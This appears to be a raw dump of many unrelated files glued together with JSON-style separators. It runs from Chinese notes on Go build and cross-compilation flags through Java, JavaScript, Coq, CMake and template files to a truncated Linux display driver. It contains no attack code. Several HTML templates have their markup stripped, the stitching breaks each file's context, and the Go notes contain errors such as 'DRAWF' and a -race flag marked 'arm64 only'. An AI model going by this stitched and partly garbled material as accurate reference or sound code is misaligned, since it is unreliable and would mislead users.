    \n\n\n### 1.1 go build\n\n\n参数 | 说明 \n--- | --- \n-gcflags | 编译器参数 \n-ldflags | 连接器参数\n-race | 允许数据竞争检测(arm64 only) \n-a | 强制重新编译所有依赖包\n-v | 查看被编译的包名,包括依赖包 \n-o | 输出文件名 \n\ngcflags\n\n参数 | 说明 \n--- | --- \n-B | 禁用边界检查 \n-N | 禁用优化\n-l | 禁用函数内联\n-u | 禁用 unsafe代码\n-m | 输出优化信息\n-S | 输出汇编代码\n\n\nldflags\n\n参数 | 说明 | 示例\n--- | --- | ---\n-w | 禁用 DRAWF 调试信息\n-s | 禁用符号表\n-X | 修改字符串符号值 | -X main.VER '0.99'\n\n\n go build -ldflags \"-s -w\" 可以减小 生成文件的大小\n -s 去掉符号表, 然后panic 的时候 stack trace的时候,就没有文件名/行号信息了\n -w 去掉 DWARF 调试信息,得到的程序就不能用 GDB调试了\n\n\n

    \n\n\n#### go build injection\n\n```go\npackage main\n\nimport (\n \"fmt\"\n)\nvar GitCommit string\nfunc main() {\n fmt.Printf(\"Hello world, version: %s\\n\", GitCommit)\n}\n```\n\n```bash\n$ go build && \\\n ./git-tester\nHello world, version:\n```\n\n- Override go build\n\n```bash\n$ export GIT_COMMIT=$(git rev-list -1 HEAD)\n$ go build -ldflags \"-X main.GitCommit=$GIT_COMMIT\"\n$ ./git-tester\nHello world, version: 67b05a31758848e1e5237ad5ae1dc11c22d4e71e\n```\n\n

    \n\n\n#### 逃逸分析\n\n```\ngo build -gcflags '-m -l'\n```\n\n\n\n

    \n\n\n### 1.2 go install\n\n和 go build 参数相同,将生成文件拷贝到 bin,pkg目录.\n\n优先使用 GOBIN 环境变量指定目录.\n\n

    \n\n\n### 1.3 go clean\n\n参数 | 说明 \n--- | --- \n-n | 查看但不执行清理命令\n-x | 查看并执行清理命令\n-i | 清除 bin, pkg 目录下文件\n-r | 清理所有依赖包 临时文件 \n\n\n

    \n\n\n### 1.4 go get\n\n下载并安装扩展包.默认保存在GOPATH 第一个workspace\n\n参数 | 说明 \n--- | --- \n-d | 仅下载,不安装\n-t | 下载测试所需的依赖库\n-u | 更新包,包括其依赖包\n-v | 查看并执行命令\n\n\n

    \n\n\n### 1.5 go tool objdump\n\n反汇编可执行文件\n\n```bash\n$ go tool objdump -s \"main\\.\\w+\" test\n$ go tool objdump -s \"main\\.main\" test\n```\n\n\n

    \n\n\n### 1.6 go profile: pprof\n\n见 [pprof](golang_pprof.md)\n\n\n

    \n\n\n## 条件编译\n\n

    \n\n\n##### 通过 runtime.GOOS/GOARCH判断,或使用编译约束标记\n\n```go\n// +build darwin linux\n // 必须有空行\npackage main\n```\n\n

    \n\n\n##### \"+build\"注释, 指示编译器检查相关环境变量\n\n

    \n\n\n##### 多个标记合并, 空格表示OR, 逗号AND, 感叹号NOT\n\n```go\n// +build darwin linux\n// +build amd64,!cgo\n// 合并结果:\n// (darwin OR linux) AND (amd64 AND (NOT cgo))\n```\n\n

    \n\n\n##### 如果GOOS,GOARCH条件不符合, 编译器忽略该文件\n\n

    \n\n\n##### 还可使用 文件名来表示编译约束\n\n 支持*_GOOS,*_GOARCH,*_GOOS_GOARCH,*_GOARCH_GOOS格式\n\n```bash\n$ ls -l /usr/local/go/src/pkg/runtime\n1545 11 29 05:38 os_darwin.c\n1382 11 29 05:38 os_darwin.h\n6990 11 29 05:38 os_freebsd.c\n 791 11 29 05:38 os_freebsd.h\n 644 11 29 05:38 os_freebsd_arm.c\n8624 11 29 05:38 os_linux.c\n1067 11 29 05:38 os_linux.h\n 861 11 29 05:38 os_linux_386.c\n2418 11 29 05:38 os_linux_arm.c\n```\n\n

    \n\n\n##### 忽略某个文件,或指定编译器版本号\n\n```go\n// +build ignore\n// +build go1.2 // 最低需要 go 1.2\n```\n\n

    \n\n\n## 跨平台编译\n\n

    \n\n\n##### 首先得生成与平台相关的工具和标准库\n\n```bash\n$ cd /usr/local/go/src\n$ GOOS=linux GOARCH=amd64 CGO_ENABLED=0 ./make.bash --no-clean\n// 参数 --no-clean 避免清除其他平台文件\n```\n\n

    \n\n\n##### 设置 GOOS GOARCH 环境变量编译目标平台文件\n\n```bash\n$ GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o test\n$ file test\nlearn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV)\n$ uname -a\nDarwin Kernel Version 12.5.0: RELEASE_X86_64 x86_64\n```\n\n\n\n"} +{"text": "\n\n\n Test for Bug 466751\n \n \n\n\nMozilla Bug 466751\n

    \n
    \n
    \n
    \n
    \n\n
    \n\n\n\n"} +{"text": "/* (C) 2012 Pragmatic Software\n This Source Code Form is subject to the terms of the Mozilla Public\n License, v. 2.0. If a copy of the MPL was not distributed with this\n file, You can obtain one at http://mozilla.org/MPL/2.0/\n */\n\npackage com.googlecode.networklog;\n\nimport android.os.SystemClock;\n\npublic class PacketGraphItem {\n double timestamp;\n double len;\n\n public PacketGraphItem(double len) {\n this.timestamp = System.currentTimeMillis();\n this.len = len;\n }\n\n public PacketGraphItem(double timestamp, double len) {\n this.timestamp = timestamp;\n this.len = len;\n }\n\n public String toString() {\n return \"(\" + timestamp + \", \" + len + \")\";\n }\n}\n"} +{"text": "import unittest\n\nimport caffe\n\nclass TestLayerTypeList(unittest.TestCase):\n\n def test_standard_types(self):\n #removing 'Data' from list \n for type_name in ['Data', 'Convolution', 'InnerProduct']:\n self.assertIn(type_name, caffe.layer_type_list(),\n '%s not in layer_type_list()' % type_name)\n"} +{"text": "var castPath = require('./_castPath'),\n isKey = require('./_isKey'),\n toKey = require('./_toKey');\n\n/**\n * The base implementation of `_.get` without support for default values.\n *\n * @private\n * @param {Object} object The object to query.\n * @param {Array|string} path The path of the property to get.\n * @returns {*} Returns the resolved value.\n */\nfunction baseGet(object, path) {\n path = isKey(path, object) ? [path] : castPath(path);\n\n var index = 0,\n length = path.length;\n\n while (object != null && index < length) {\n object = object[toKey(path[index++])];\n }\n return (index && index == length) ? object : undefined;\n}\n\nmodule.exports = baseGet;\n"} +{"text": "import Router from 'vue-router';\n\nimport Apple from '@/components/apple';\nimport Banana from '@/components/banana';\n\nexport default new Router({\n mode: 'history',\n routers: [\n {\n path: '/',\n redirect: '/apple'\n },\n {\n path: '/apple',\n component: Apple\n },\n {\n path: '/banana',\n component: Banana\n }\n ]\n});\n"} +{"text": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"1x\",\n \"filename\" : \"GQ.png\"\n },\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"2x\",\n \"filename\" : \"GQ@2x.png\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "fileFormatVersion: 2\nguid: 0513a639646d5434085ed846c332e341\nTextureImporter:\n fileIDToRecycleName: {}\n serializedVersion: 2\n mipmaps:\n mipMapMode: 0\n enableMipMap: 1\n linearTexture: 0\n correctGamma: 0\n fadeOut: 0\n borderMipMap: 0\n mipMapFadeDistanceStart: 1\n mipMapFadeDistanceEnd: 3\n bumpmap:\n convertToNormalMap: 0\n externalNormalMap: 0\n heightScale: .25\n normalMapFilter: 0\n isReadable: 0\n grayScaleToAlpha: 0\n generateCubemap: 0\n cubemapConvolution: 0\n cubemapConvolutionSteps: 8\n cubemapConvolutionExponent: 1.5\n seamlessCubemap: 0\n textureFormat: -1\n maxTextureSize: 1024\n textureSettings:\n filterMode: -1\n aniso: -1\n mipBias: -1\n wrapMode: -1\n nPOTScale: 1\n lightmap: 0\n rGBM: 0\n compressionQuality: 50\n spriteMode: 0\n spriteExtrude: 1\n spriteMeshType: 1\n alignment: 0\n spritePivot: {x: .5, y: .5}\n spriteBorder: {x: 0, y: 0, z: 0, w: 0}\n spritePixelsToUnits: 100\n alphaIsTransparency: 0\n textureType: -1\n buildTargetSettings: []\n spriteSheet:\n sprites: []\n spritePackingTag: \n userData: \n assetBundleName: \n"} +{"text": "Require Import VST.floyd.proofauto.\nRequire Import sha.sha.\nRequire Import sha.SHA256.\nRequire Import sha.spec_sha.\nRequire Import sha.sha_lemmas.\nRequire Import sha.verif_sha_update3.\nLocal Open Scope Z.\nLocal Open Scope logic.\n\nLemma Hblocks_lem:\n forall {blocks: list int} {frag: list byte} {data},\n intlist_to_bytelist blocks = frag ++ sublist 0 (Zlength blocks * 4 - Zlength frag) data ->\n Zlength frag <= Zlength blocks * 4.\nProof.\nintros.\nassert (Zlength (intlist_to_bytelist blocks) =\n Zlength ( frag ++\n sublist 0 (Zlength blocks * 4 - Zlength frag) data)) by congruence.\n autorewrite with sublist in H0.\n pose proof (Zlength_nonneg (sublist 0 (Zlength blocks * 4 - Zlength frag) data)).\n omega.\nQed.\n\nDefinition sha_update_loop_body :=\n (Ssequence\n (Scall None\n (Evar _sha256_block_data_order\n (Tfunction\n (Tcons (tptr t_struct_SHA256state_st) (Tcons (tptr tvoid) Tnil))\n tvoid cc_default))\n [Etempvar _c (tptr t_struct_SHA256state_st);\n Etempvar _data (tptr tuchar)])\n (Ssequence\n (Sset _data\n (Ebinop Oadd (Etempvar _data (tptr tuchar))\n (Ebinop Omul (Econst_int (Int.repr 16) tint)\n (Econst_int (Int.repr 4) tint) tint) (tptr tuchar)))\n (Sset _len\n (Ebinop Osub (Etempvar _len tuint)\n (Ebinop Omul (Econst_int (Int.repr 16) tint)\n (Econst_int (Int.repr 4) tint) tint) tuint)))).\n\nDefinition update_outer_if :=\n Sifthenelse\n (Ebinop Cop.One (Etempvar _n tuint) (Econst_int (Int.repr 0) tint) tint)\n (Ssequence\n (Sset _fragment\n (Ebinop Osub\n (Ebinop Omul (Econst_int (Int.repr 16) tint)\n (Econst_int (Int.repr 4) tint) tint) (Etempvar _n tuint)\n tuint)) update_inner_if)\n Sskip.\n\nLemma update_outer_if_proof:\n forall (Espec : OracleKind) (hashed : list int)\n (dd data : list byte) (c d : val) (wsh sh : share) (len : Z) gv\n (H : 0 <= len <= Zlength data)\n (Hwsh: writable_share wsh)\n (Hsh: readable_share sh)\n (HBOUND : bitlength hashed dd + len * 8 < two_p 64)\n (H3 : Zlength dd < CBLOCKz)\n (H4 : (LBLOCKz | Zlength hashed))\n (Hlen : len <= Int.max_unsigned),\nsemax\n (func_tycontext f_SHA256_Update Vprog Gtot nil)\n (PROP ()\n LOCAL\n (temp _p (field_address t_struct_SHA256state_st [StructField _data] c);\n temp _n (Vint (Int.repr (Zlength dd)));\n temp _data d; temp _c c;temp _data_ d;\n temp _len (Vint (Int.repr len));\n gvars gv)\n SEP (data_at wsh t_struct_SHA256state_st\n (map Vint (hash_blocks init_registers hashed),\n (Vint (lo_part (bitlength hashed dd + len*8)),\n (Vint (hi_part (bitlength hashed dd + len*8)),\n (map Vubyte dd ++ list_repeat (Z.to_nat (CBLOCKz-Zlength dd)) Vundef,\n Vint (Int.repr (Zlength dd))))))\n c;\n K_vector gv;\n data_block sh data d))\n update_outer_if\n (overridePost (sha_update_inv wsh sh hashed len c d dd data gv false)\n (frame_ret_assert\n (function_body_ret_assert tvoid\n (EX a' : s256abs,\n PROP (update_abs (sublist 0 len data) (S256abs hashed dd) a')\n LOCAL ()\n SEP (K_vector gv;\n sha256state_ wsh a' c; data_block sh data d)))\n emp)).\nProof.\nintros.\nunfold update_outer_if.\nforward_if (sha_update_inv wsh sh hashed len c d dd data gv false).\n* (* then clause *)\n\nTime forward. (* fragment = SHA_CBLOCK-n; *) (*2.2*)\ndrop_LOCAL 5%nat.\nrewrite semax_seq_skip.\nfold (inv_at_inner_if wsh sh hashed len c d dd data gv).\napply semax_seq with (sha_update_inv wsh sh hashed len c d dd data gv false).\nweak_normalize_postcondition.\nnormalize. change (16*4)%Z with 64.\nsimple apply (update_inner_if_proof Espec hashed dd data c d wsh sh len gv);\n try assumption.\nforward.\napply andp_left2; auto.\n* (* else clause *)\nforward. (* skip; *)\nExists (@nil int). rewrite <- app_nil_end.\nrename H0 into H1.\nrewrite H1 in *.\nrewrite Zlength_correct in H1; destruct dd; inv H1.\nautorewrite with sublist.\nsimpl intlist_to_bytelist.\nTime entailer!. (* 4.6; was: 139 sec -> 3.27 sec *)\nsplit.\napply Z.divide_0_r.\nrewrite field_address0_offset by auto with field_compatible.\nsimpl. normalize.\n\n(* TODO: see if a \"stronger\" proof system could work here\n rewrite data_at_field_at.\n apply field_at_stronger.\n ...\n with automatic cancel...\n*)\n\nTactic Notation \"unfold_data_atx\" uconstr(a) :=\n tryif (is_nat_uconstr a)\n then (\n idtac \"Warning: unfold_data_at with numeric argument is deprecated\";\n let x := constr:(a) in unfold_data_at_tac x\n )\n else\n (let x := fresh \"x\" in set (x := a : mpred);\n lazymatch goal with\n | x := ?D : mpred |- _ =>\n match D with\n | (@data_at_ ?cs ?sh ?t ?p) =>\n change D with (@field_at_mark cs sh t (@nil gfield) (@default_val cs (@nested_field_type cs t nil)) p) in x\n | (@data_at ?cs ?sh ?t ?v ?p) =>\n change D with (@field_at_mark cs sh t (@nil gfield) v p) in x\n | (@field_at_ ?cs ?sh ?t ?gfs ?p) =>\n change D with (@field_at_mark cs sh t gfs (@default_val cs (@nested_field_type cs t gfs)) p) in x\n | (@field_at ?cs ?sh ?t ?gfs ?v ?p) =>\n change D with (@field_at_mark cs sh t gfs v p) in x\n end;\n subst x; unfold_field_at';\nidtac (*\n repeat match goal with |- context [@field_at ?cs ?sh ?t ?gfs (@default_val ?cs' ?t') ?p] => \n change (@field_at cs sh t gfs (default_val cs' t') p) with (@field_at_ cs sh t gfs p)\n end*)\nend).\n match goal with |- ?A |-- ?B => unfold_data_at A; unfold_data_at B; cancel end.\nTime Qed. (*5.4*)\n\nLemma update_while_proof:\n forall (Espec : OracleKind) (hashed : list int) (dd data: list byte) gv\n (c d : val) (wsh sh : share) (len : Z)\n (H : 0 <= len <= Zlength data)\n (Hwsh: writable_share wsh)\n (Hsh: readable_share sh)\n (HBOUND : bitlength hashed dd + len * 8 < two_p 64)\n (H3 : Zlength dd < CBLOCKz)\n (H4 : (LBLOCKz | Zlength hashed))\n (Hlen : len <= Int.max_unsigned),\n semax\n (func_tycontext f_SHA256_Update Vprog Gtot nil)\n (sha_update_inv wsh sh hashed len c d dd data gv false)\n (Swhile\n (Ebinop Oge (Etempvar _len tuint)\n (Ebinop Omul (Econst_int (Int.repr 16) tint)\n (Econst_int (Int.repr 4) tint) tint) tint) sha_update_loop_body)\n (normal_ret_assert (sha_update_inv wsh sh hashed len c d dd data gv true)).\nProof.\nintros.\nabbreviate_semax.\nunfold sha_update_inv.\nIntros blocks.\nrewrite semax_seq_skip. (* should be part of forward_while *)\nforward_while\n (sha_update_inv wsh sh hashed len c d dd data gv false);\n try rename blocks0 into blocks'.\n*\n Exists blocks. entailer!.\n*\n entailer!.\n*\n clear H8.\n normalize_postcondition.\n clear dependent blocks.\n rename blocks' into blocks.\n pose proof (Hblocks_lem H7).\n assert (H0': (Zlength dd <= Zlength blocks * 4)%Z) by Omega1.\n clear H0; rename H0' into H0.\n rewrite Int.unsigned_repr in HRE by omega.\n pose (bl := bytelist_to_intlist (sublist (Zlength blocks * 4 - Zlength dd)\n (Zlength blocks * 4 - Zlength dd + CBLOCKz) data)).\nassert (Zlength bl = LBLOCKz). {\n apply Zlength_bytelist_to_intlist.\n pose proof CBLOCKz_eq; pose proof LBLOCKz_eq;\n autorewrite with sublist. reflexivity.\n}\n {\n rename H6 into Hdiv. rename H7 into Hblocks. rename H0 into H7.\n rename HRE into Hlen_ge. clear H5.\n assert (H6: sublist (Zlength blocks * 4 - Zlength dd)\n (Zlength blocks * 4 - Zlength dd + CBLOCKz) data =\n intlist_to_bytelist bl).\n unfold bl; rewrite bytelist_to_intlist_to_bytelist; auto.\n pose proof CBLOCKz_eq; autorewrite with sublist.\n exists LBLOCKz; reflexivity.\n rename dd into frag.\n clear H7; rename H1 into H7.\n rename HBOUND into LEN64.\n clear - Hwsh Hsh H Hdiv H4 Hblocks H3 Hlen Hlen_ge H6 H7 LEN64.\n unfold sha_update_loop_body.\n assert (Hblocks' := Hblocks_lem Hblocks).\n Time assert_PROP (field_compatible (tarray tuchar (Zlength data)) [] d) as FC by entailer!. (*1.8*)\n assert (DM: Zlength data < Ptrofs.modulus).\n { (* TODO: simplify this proof. *)\n clear - FC. red in FC. simpl in FC. destruct d; try tauto.\n simpl in FC.\n rewrite Z.max_r in FC by (specialize (Zlength_nonneg data); intros; omega).\n inv_int i.\n rewrite Z.mul_1_l in FC.\n omega.\n }\n set (lo := Zlength blocks * 4 - Zlength frag) in *.\n replace_SEP 2\n (data_block sh (sublist 0 lo data) d *\n data_block sh (sublist lo (lo+CBLOCKz) data)\n (field_address0 (tarray tuchar (Zlength data)) [ArraySubsc lo] d) *\n data_block sh (sublist (lo+CBLOCKz) (Zlength data) data)\n (field_address0 (tarray tuchar (Zlength data)) [ArraySubsc (lo+CBLOCKz)] d)).\n { Time entailer!. (*2.5*)\n rewrite (split3_data_block lo (lo+CBLOCKz) sh data); auto;\n subst lo; Omega1.\n }\n rewrite H6.\n assert (LBLOCKz | Zlength (hashed ++ blocks))\n by (apply divide_length_app; auto).\n assert (Zlength (hash_blocks init_registers (hashed ++ blocks)) = 8)\n by (rewrite Zlength_length; [apply length_hash_blocks|]; auto).\n Time forward_call (* sha256_block_data_order (c,data); *)\n (hash_blocks init_registers (hashed++blocks), bl, c, wsh,\n field_address0 (tarray tuchar (Zlength data)) [ArraySubsc lo] d,\n sh, gv). (*3.8*)\n { Time unfold_data_at (data_at _ _ _ c). (*0.8*)\n Time cancel. (*2.5*)\n }\n rewrite hash_blocks_last by auto.\n Time forward. (* data += SHA_CBLOCK; *) (*5*)\n simpl (temp _data _).\n Time forward. (* len -= SHA_CBLOCK; *) (*6*)\n Exists (blocks++ bl).\n Time entailer!. (*17.4 SLOW*)\n subst lo. autorewrite with sublist.\n rewrite Z.mul_add_distr_r.\n {repeat split; auto.\n + Omega1.\n + rewrite H7; apply Z.divide_add_r; auto. apply Z.divide_refl.\n + rewrite intlist_to_bytelist_app.\n rewrite Hblocks; rewrite <- H6.\n rewrite app_ass.\n f_equal.\n rewrite <- sublist_split; try Omega1.\n f_equal. Omega1.\n + assert (0 <= Zlength blocks * 4 + Zlength bl * 4 - Zlength frag <= Zlength data)\n by Omega1.\n rewrite !field_address0_offset by auto with field_compatible.\n rewrite offset_offset_val.\n simpl. f_equal. Omega1.\n + f_equal. f_equal. Omega1.\n }\n Time unfold_data_at (data_at _ _ _ c). (*0.8*)\n rewrite (split3_data_block lo (lo+CBLOCKz) sh data d)\n by (auto; subst lo; try Omega1).\n rewrite app_ass.\n rewrite H6.\n Time cancel. (*1.2*)\n }\n*\n assert (Zlength blocks' * 4 >= Zlength dd).\n rewrite <- (Zlength_intlist_to_bytelist blocks').\n rewrite H7. autorewrite with sublist. Omega1.\n normalize in HRE.\n unfold sha_update_inv.\n clear dependent blocks.\n forward.\n Exists blocks'.\n Time entailer!. (*2.9*)\nTime Qed. (*VST2.0: 1.7s *)\n"} +{"text": "---\ntitle: Scale Layer\n---\n\n# Scale Layer\n\n* Layer type: `Scale`\n* [Doxygen Documentation](http://caffe.berkeleyvision.org/doxygen/classcaffe_1_1ScaleLayer.html)\n* Header: [`./include/caffe/layers/scale_layer.hpp`](https://github.com/BVLC/caffe/blob/master/include/caffe/layers/scale_layer.hpp)\n* CPU implementation: [`./src/caffe/layers/scale_layer.cpp`](https://github.com/BVLC/caffe/blob/master/src/caffe/layers/scale_layer.cpp)\n* CUDA GPU implementation: [`./src/caffe/layers/scale_layer.cu`](https://github.com/BVLC/caffe/blob/master/src/caffe/layers/scale_layer.cu)\n\n## Parameters\n\n* Parameters (`ScaleParameter scale_param`)\n* From [`./src/caffe/proto/caffe.proto`](https://github.com/BVLC/caffe/blob/master/src/caffe/proto/caffe.proto):\n\n{% highlight Protobuf %}\n{% include proto/ScaleParameter.txt %}\n{% endhighlight %}\n"} +{"text": "############################################################################\n#\n# Copyright (c) 2015 PX4 Development Team. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# 3. Neither the name PX4 nor the names of its contributors may be\n# used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n############################################################################\n\nset(msg_out_path ${CMAKE_CURRENT_BINARY_DIR})\nget_filename_component(micrortps_bridge_path ${msg_out_path} PATH)\n\nif (NOT \"${config_rtps_send_topics}\" STREQUAL \"\" OR NOT \"${config_rtps_receive_topics}\" STREQUAL \"\")\n\n\tset(send_topic_files)\n\tforeach(topic ${config_rtps_send_topics})\n\t\tlist(APPEND send_topic_files ${PX4_SOURCE_DIR}/msg/${topic}.msg)\n\tendforeach()\n\n\tset(receive_topic_files)\n\tforeach(topic ${config_rtps_receive_topics})\n\t\tlist(APPEND receive_topic_files ${PX4_SOURCE_DIR}/msg/${topic}.msg)\n\tendforeach()\n\n\tif (NOT \"${config_rtps_send_alias_topics}\" STREQUAL \"\")\n\t\tset(config_rtps_send_topics \"${config_rtps_send_topics};${config_rtps_send_alias_topics}\")\n\tendif()\n\n\tif (NOT \"${config_rtps_receive_alias_topics}\" STREQUAL \"\")\n\t\tset(config_rtps_receive_topics \"${config_rtps_receive_topics};${config_rtps_receive_alias_topics}\")\n\tendif()\n\n\tforeach(topic ${config_rtps_send_topics})\n\t\tlist(APPEND topic_bridge_files_out ${micrortps_bridge_path}/micrortps_agent/${topic}_Publisher.cpp)\n\t\tlist(APPEND topic_bridge_files_out ${micrortps_bridge_path}/micrortps_agent/${topic}_Publisher.h)\n\tendforeach()\n\n\tforeach(topic ${config_rtps_receive_topics})\n\t\tlist(APPEND topic_bridge_files_out ${micrortps_bridge_path}/micrortps_agent/${topic}_Subscriber.cpp)\n\t\tlist(APPEND topic_bridge_files_out ${micrortps_bridge_path}/micrortps_agent/${topic}_Subscriber.h)\n\tendforeach()\n\n\tlist(APPEND topic_bridge_files_out\n\t\t${micrortps_bridge_path}/micrortps_client/microRTPS_client.cpp\n\t\t${micrortps_bridge_path}/micrortps_client/microRTPS_transport.cpp\n\t\t${micrortps_bridge_path}/micrortps_client/microRTPS_transport.h\n\t\t)\n\n\tadd_custom_command(OUTPUT ${topic_bridge_files_out}\n\t\tCOMMAND ${PYTHON_EXECUTABLE} ${PX4_SOURCE_DIR}/msg/tools/generate_microRTPS_bridge.py\n\t\t\t--fastrtpsgen-dir $ENV{FASTRTPSGEN_DIR}\n\t\t\t--generate-idl\n\t\t\t--mkdir-build\n\t\t\t--generate-cmakelists\n\t\t\t--topic-msg-dir ${PX4_SOURCE_DIR}/msg\n\t\t\t--uorb-templates-dir templates/uorb_microcdr\n\t\t\t--urtps-templates-dir templates/urtps\n\t\t\t--agent-outdir ${micrortps_bridge_path}/micrortps_agent/src\n\t\t\t--client-outdir ${micrortps_bridge_path}/micrortps_client\n\t\t\t--idl-dir ${micrortps_bridge_path}/micrortps_agent/idl\n\t\t\t>micrortps_bridge.log >/dev/null\n\t\tDEPENDS ${send_topic_files} ${receive_topic_files}\n\t\tCOMMENT \"Generating RTPS topic bridge\"\n\t)\n\tadd_custom_target(topic_bridge_files DEPENDS ${topic_bridge_files_out})\n\n\tpx4_add_module(\n\t\tMODULE modules__micrortps_bridge__micrortps_client\n\t\tMAIN micrortps_client\n\t\tSTACK_MAIN 4096\n\t\tINCLUDES\n\t\t\t${CMAKE_CURRENT_SOURCE_DIR}\n\t\t\t${micrortps_bridge_path}/micrortps_client\n\t\tSRCS\n\t\t\tmicroRTPS_client_main.cpp\n\t\t\t${micrortps_bridge_path}/micrortps_client/microRTPS_client.cpp\n\t\t\t${micrortps_bridge_path}/micrortps_client/microRTPS_transport.cpp\n\t\tMODULE_CONFIG\n\t\t\tmodule.yaml\n\t\tDEPENDS\n\t\t\ttopic_bridge_files\n\t)\n\ttarget_link_libraries(modules__micrortps_bridge__micrortps_client PRIVATE uorb_msgs_microcdr)\nendif()\n"} +{"text": "
    \n \n
    \n
    \n \n \n \n
    \n
    col-__item_note_color__\">__item_note__
    \n
    \n
    \n
    \n
    \n
    \n
    __item_owner_unit__
    \n
    \n \n
    \n __item_owner_name__ __item_owner_action__  \n \n   \n \n , __owner_username__\n \n \n \n \n __meta__\n \n \n \n \">\n \n \n \n \n \">\n \n \n \n \n \">\n \n \n
    \n
    \n \n
    \n \n \n \n
    \n
    \n
    \n
    __content__
    \n \n
    __location__
    \n
    \n \n
    __fields__
    \n
    \n \n
    __menu_item_counters__
    \n
    \n \n
    \n
    __menu_item_actions__
    \n
    \n
    __comments__
    \n
    \n
    \n
    "} +{"text": "
    \n
    \n\n

    Certificate Pricing

    \n\n {include file=\"$template/store/ssl/shared/currency-chooser.tpl\"}\n\n
    \n\n
    \n\n
    \n
    \n
    \n
    \n
    \n
      \n
    • 256-Bit Encryption
    • \n
    • Issuance Time
    • \n
    • Great For
    • \n
    • Warranty Value
    • \n
    • Site Seal
    • \n
    • Free Reissues
    • \n
    • Browser Support
    • \n
    • 1 Year
    • \n
    • 2 Years
    • \n
    \n
    \n {if count($certificates.$type) > 0}\n {foreach $certificates.$type as $product}\n
    \n
    \n

    {$product->name}

    \n
    \n
      \n
    • \n
    • {$certificateFeatures.{$product->configoption1}.issuance}
    • \n
    • {$certificateFeatures.{$product->configoption1}.for}
    • \n
    • USD ${$certificateFeatures.{$product->configoption1}.warranty}
    • \n
    • \n
    • \n
    • 99.9%
    • \n {if $product->pricing()->annual()}\n
    • {$product->pricing()->annual()->yearlyPrice()}
    • \n {else}\n
    • -
    • \n {/if}\n {if $product->pricing()->biennial()}\n
    • {$product->pricing()->biennial()->yearlyPrice()}
    • \n {else}\n
    • -
    • \n {/if}\n
    \n
    \n id}\">\n \n
    \n
    \n {/foreach}\n {else}\n
    \n
    \n SSL Certificate products you activate will be displayed here\n
    \n
    \n {/if}\n
    \n
    \n
    \n
    \n
    \n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n__attribute__((visibility(\"hidden\")))\n@interface OADToPointPathElement : OADPathElement\n{\n struct OADAdjustPoint mToPoint;\n BOOL mRelative;\n}\n\n- (void)setRelative:(BOOL)arg1;\n- (BOOL)relative;\n- (struct OADAdjustPoint)toPoint;\n- (id)initWithToPoint:(struct OADAdjustPoint)arg1;\n\n@end\n\n"} +{"text": "object Test extends App {\n import NewQuasiquotes._\n SomeTree match {\n case nq\"$x + $y\" => println((x, y))\n }\n}\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0-only\n/*\n * Copyright (c) 2014-2018 The Linux Foundation. All rights reserved.\n * Copyright (C) 2013 Red Hat\n * Author: Rob Clark \n */\n\n#define pr_fmt(fmt)\t\"[drm:%s:%d] \" fmt, __func__, __LINE__\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"dpu_kms.h\"\n#include \"dpu_hw_lm.h\"\n#include \"dpu_hw_ctl.h\"\n#include \"dpu_crtc.h\"\n#include \"dpu_plane.h\"\n#include \"dpu_encoder.h\"\n#include \"dpu_vbif.h\"\n#include \"dpu_core_perf.h\"\n#include \"dpu_trace.h\"\n\n#define DPU_DRM_BLEND_OP_NOT_DEFINED 0\n#define DPU_DRM_BLEND_OP_OPAQUE 1\n#define DPU_DRM_BLEND_OP_PREMULTIPLIED 2\n#define DPU_DRM_BLEND_OP_COVERAGE 3\n#define DPU_DRM_BLEND_OP_MAX 4\n\n/* layer mixer index on dpu_crtc */\n#define LEFT_MIXER 0\n#define RIGHT_MIXER 1\n\n/* timeout in ms waiting for frame done */\n#define DPU_CRTC_FRAME_DONE_TIMEOUT_MS\t60\n\nstatic struct dpu_kms *_dpu_crtc_get_kms(struct drm_crtc *crtc)\n{\n\tstruct msm_drm_private *priv = crtc->dev->dev_private;\n\n\treturn to_dpu_kms(priv->kms);\n}\n\nstatic void dpu_crtc_destroy(struct drm_crtc *crtc)\n{\n\tstruct dpu_crtc *dpu_crtc = to_dpu_crtc(crtc);\n\n\tDPU_DEBUG(\"\\n\");\n\n\tif (!crtc)\n\t\treturn;\n\n\tdrm_crtc_cleanup(crtc);\n\tkfree(dpu_crtc);\n}\n\nstatic void _dpu_crtc_setup_blend_cfg(struct dpu_crtc_mixer *mixer,\n\t\tstruct dpu_plane_state *pstate, struct dpu_format *format)\n{\n\tstruct 